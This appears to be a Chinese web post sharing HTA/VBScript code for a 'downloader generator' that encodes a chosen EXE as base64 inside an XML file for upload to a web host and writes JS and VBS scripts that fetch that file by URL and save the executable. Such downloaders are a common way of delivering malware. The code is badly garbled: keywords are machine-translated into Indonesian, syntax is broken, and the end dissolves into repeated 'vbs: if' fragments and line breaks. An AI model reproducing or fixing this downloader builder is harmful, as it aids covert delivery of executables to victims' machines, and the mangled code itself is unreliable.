以下代码保存成 hta 文件 ， 可生成 js 和 vbs 下载者
代码如下:
<HTA: Aplikasi
Id = "xmldown"
Keterangan = "Ya"
Gulir = "otomatis"
Border = "None"
Borderstyle = "statis"
SingleInstance = "Ya"
MaximizeButton = "Tidak"
Border = "Tidak"
icon = "dxdiag.exe">
<bahasa skrip = vbs>
Sub window_onload
Window.Resizeto Screen.width/1.6, screen.height/3
window.moveto 200.200
Akhir sub
Sub createxml (path, file)
Set ObjStream = CreateObject ("AdodB.Stream")
objstream.type = 1
objstream.open ()
Objstream.LoadFromFile (Path)
objstream.position = 0
Set xmldoc = createObject ("microsoft.xmldom")
Xmldoc.async = false
Set root = xmldoc.createProcessingInstruction ("xml", "version = '1.0' encoding = 'UTF-8'"))
Xmldoc.appendchild (root)
Xmldoc.appendchild (xmldoc.createelement ("root"))
Set xfile = xmldoc.selectsinglenode ("// root"). AppendChild (xmldoc.createelement ("file"))
Set xstream = xfile.appendChild (xmldoc.createElement ("stream"))
Xstream.setAttribute "xmlns: dt", "guci: schemas-microsoft-com: datapes"
XStream.dataType = "bin.base64"
Xstream.nodetypedValue = objstream.read ()
Xmldoc.save (file)
Atur xmldoc = tidak ada
Atur root = tidak ada
Atur objstream = tidak ada
Akhir sub
Fungsi X (OBJ)
Set x = document.geteLementById (obj)
Fungsi akhir
Fungsi FindFile (str)
Atur fso = createObject ("Scripting.filesystemObject")
Jika fso.fileexists (str) maka
findFile = true
Kalau tidak
findFile = false
Akhiri jika
Fungsi akhir
Fungsi jsdown ()
Atur fso = createObject ("Scripting.filesystemObject")
dengan fso.opentextFile ((createObject ("wscript.shell")). CurrentDirectory & "/jsdown.js", 2, true)
.write x ("JSDown"). Nilai
berakhir dengan
fungsi akhir
Fungsi vbsdown ()
Atur fso = createObject ("Scripting.filesystemObject")
dengan fso.opentextFile ((createObject ("wscript.shell")). CurrentDirectory & "/vbsdown.vbs", 2, true)
.write x ("VBSDown"). Nilai
berakhir dengan
fungsi akhir
</script>
<body>
<h4> 1. 生成下载用的 xml 文件 </h4>
选择下载的 exe 文件 ： <input type = file nama = "file1" id = "file1" size = "20">
保存路径 <input type = nama teks = "path" id = "pathname" value = "c: /down.xml" size = "20">
<input type = "tombol" value = "生成 xml 文件" onclick = 'vbs: createxml x ("file1"). value, x ("pathname"). Nilai: jika findFile (x ("pathname"). Nilai) = msgbox ("生成成功 ， ， ，"): x ("url"). Color = Red> 生成成功 ， 请传到某个空间 </font> "'> <br>
<h4> 2. 生成下载者 </h4>
<Tombol OnClick = 'VBS: JSDown (): jika findFile ("jsdown.js") = true lalu msgbox "生成成功": x ("url"). bubuthtml = "用法是 cscript jsdown.js xmlurl savePath"'> 生成 js 下载者 </buttdown> <tombol = 'vbs: vbs: vbs: vbs: vbs: if if if if if if if if if if if if if vbs if vbs: vbs if vbs: vbs: FindFile ("vbsdown.vbs") = true kemudian msgbox "生成成功": x ("url"). InnerHtml = "<font color = blue> 用法是 cscript vbsdown.js xmlurl savePath </font>"> 生成 vbs 下载者 </butt> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <br> <bb>